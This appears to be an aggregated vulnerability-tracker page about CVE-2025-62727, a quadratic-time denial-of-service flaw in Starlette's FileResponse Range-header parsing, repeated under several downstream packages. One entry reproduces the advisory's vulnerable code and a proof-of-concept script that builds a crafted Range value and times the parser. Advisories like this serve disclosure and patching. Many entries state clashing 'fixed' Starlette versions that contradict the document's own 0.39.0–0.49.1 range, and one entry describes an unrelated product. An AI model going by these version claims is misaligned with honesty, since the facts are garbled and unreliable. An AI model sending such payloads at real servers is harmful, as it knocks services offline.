semgrep

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing logic that results in quadratic time complexity. An unauthenticated attacker can craft a Range header with many small or specially shaped ranges to cause excessive CPU usage, leading to denial-of-service (DoS) conditions on endpoints serving files. This affects Starlette applications using FileResponse or StaticFiles, as well as frameworks built on Starlette such as FastAPI when serving files. The vulnerability is identified as CVE-2025-62727 and has a high severity score of 7.5. A fix is available in Starlette version 1.141.0_1.

Semgrep: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

oterm

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing logic that leads to O(n^2) time complexity. An unauthenticated attacker can send a crafted Range header with many small, non-overlapping ranges, causing CPU exhaustion and denial of service. This affects any Starlette application serving files via FileResponse or StaticFiles, including frameworks built on Starlette such as FastAPI. The vulnerability is fixed in Starlette version 0.14.6_1.

Oterm: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

mcpm

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing logic that leads to quadratic-time complexity. An unauthenticated attacker can craft a Range header with many small or specially shaped ranges, causing excessive CPU usage and denial of service on endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, as well as frameworks built on Starlette such as FastAPI when serving files. The vulnerability is identified as CVE-2025-62727 and has a CVSS score of 7.5 (high severity). A fix is available in version 2.9.0_1.

Mcpm: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

mcp-atlassian

Starlette versions from 0.11.9 up to but not including 0.11.10 contain a vulnerability in the FileResponse component where processing of HTTP Range headers exhibits quadratic time complexity. An unauthenticated attacker can exploit this by sending a crafted Range header with many small, non-overlapping ranges, causing excessive CPU usage and denial of service on endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, as well as frameworks built on Starlette such as FastAPI when serving files. The vulnerability is fixed in version 0.11.10.

Mcp atlassian: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

mcp-google-sheets

### Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).

### Details
Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.

```python
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

```

The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

  This affects any Starlette application that uses:

  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`
  - Direct ``starlette.responses.FileResponse`` responses

### PoC
```python
#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
```

### Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Mcp google sheets: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

glances

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing and merging logic that leads to quadratic-time complexity. An unauthenticated attacker can craft a Range header with many small, disjoint ranges to cause excessive CPU consumption per request, resulting in denial-of-service (DoS) conditions for endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, including frameworks built on Starlette such as FastAPI. The vulnerability is identified as CVE-2025-62727 and has a CVSS score of 7.5 (high severity). A fix is available in Starlette version 4.3.3_2.

Glances: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

fastmcp

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing logic that leads to quadratic-time processing. An unauthenticated attacker can craft a Range header that causes CPU exhaustion per request, resulting in denial-of-service for endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, as well as frameworks built on Starlette such as FastAPI when serving files. The vulnerability is fixed in version 2.13.0.2_1.

Fastmcp: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

esphome

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing and merging logic that results in O(n^2) computational complexity. An unauthenticated attacker can send a crafted Range header with many small, non-overlapping ranges to cause excessive CPU usage, leading to denial-of-service (DoS) conditions on endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, as well as frameworks built on Starlette such as FastAPI when serving files. The vulnerability is fixed in Starlette versions 2025.12.3 and 2026.2.0.

Esphome: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

dstack

Starlette's FileResponse component contains a vulnerability in its HTTP Range header parsing logic that leads to quadratic-time processing. An unauthenticated attacker can craft a Range header with many small or specially shaped ranges, causing CPU exhaustion and denial of service on endpoints serving files. This affects any Starlette application using FileResponse or StaticFiles, including frameworks built on Starlette such as FastAPI. The vulnerability is fixed in Starlette version 0.19.34_1.

Dstack: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``…

A denial-of-service vulnerability (CVE-2025-62727) exists in the Python Starlette ASGI framework used by multiple Red Hat products. An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing logic, causing CPU exhaustion and denial of service for file-serving endpoints. This vulnerability is rated as important with a CVSS 3.1 score of 7.5 by Red Hat. No patch or mitigation is currently provided by Red Hat, and fixes are being pursued by individual product teams.

Red Hat Security Advisory: satellite/iop-advisor-engine-rhel9 container image available as a Technology Preview

kimi-cli

Satellite provides a container image that you can use to run an MCP server locally. The MCP server for Satellite is designed for advanced reporting and data analysis that leverages AI capabilities. You can use it to generate dynamic and comprehensive reports from your Satellite inventory.

Red Hat Security Advisory: satellite/foreman-mcp-server-rhel9 container image available as a Technology Preview

starlette

Starlette versions from 0.39.0 up to but not including 0.49.1 contain a vulnerability in the FileResponse component where processing of crafted HTTP Range headers triggers quadratic-time complexity. This can lead to CPU exhaustion and denial-of-service (DoS) conditions on endpoints serving files, including StaticFiles and any direct use of FileResponse. The vulnerability arises from inefficient parsing and merging of multiple range requests, allowing an unauthenticated attacker to cause high CPU usage with a single request.

Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse`` (CVE-2025-62727)

Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.

Search: CVE-2025-62727